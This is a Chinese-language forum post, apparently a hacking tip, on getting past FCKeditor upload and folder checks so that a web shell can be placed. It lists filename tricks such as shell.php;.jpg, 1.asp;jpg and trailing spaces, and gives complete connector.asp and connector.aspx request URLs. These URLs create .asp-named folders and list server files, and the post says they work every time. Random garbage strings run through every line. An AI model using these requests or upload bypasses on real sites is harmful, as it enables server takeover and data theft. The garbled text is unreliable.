很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg/ ^9 l- y) p0 q; \# i S) m% {
@5 \ p+ X" Q8 j提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。0 J; b9 e' j* W! s# e& u
8 Y# h; d" N! t$ o/ L: F3 N继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
2 g0 c+ G9 S7 A% {8 _) r
( t0 W' ?/ m3 y# g# v突破建立文件夹:
3 d" y# X, M( X8 _
" z# C# P7 b1 W7 veditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
0 }( G0 S5 B |9 E$ W" Y5 Y
* i0 n) D u& a7 [. d# @参数:
1 p' h) `5 p/ Y
# d* e: C8 |/ s7 M当前目录名:CurrentFolder=/qing.asp- N! y0 |: y7 x% \
: G0 l. |* B+ ~9 K; \3 y0 y
新的目录名:NewFolderName=x.asp
( l2 ]7 ?7 B. E6 h+ [# l; T" a) ^& ]7 c) P# q$ U
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……% [6 E0 {, H7 Y! @! U/ a% i
2 d2 _$ |8 ]4 O9 `9 A
那么 x.asp 就已经建立生成了,此方法百试百灵!
/ v# F8 |0 ~- L. J- M7 |. W+ H! Z2 Q7 Q6 k* c& P) _, B
新建文件夹参数 x.asp,基本都能搞定。: }% a# B1 v* L2 ?4 M; ?- [$ A: l
8 w2 x/ t7 s/ Y: a3 ~: @1 {下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
$ V+ _$ |9 V" D: I) k% _8 N6 B' _, n2 T! d6 W5 d# i, u
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp" b6 T- x% C& y- Y5 ]" F1 k) ~
% y# x8 `0 E/ e0 N- o6 {获取文件列表
: f, M* P3 [' t# H9 k aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
. b, `1 d: ]5 [( u; p; p% U& e- Y- u4 q v9 J% {& D
|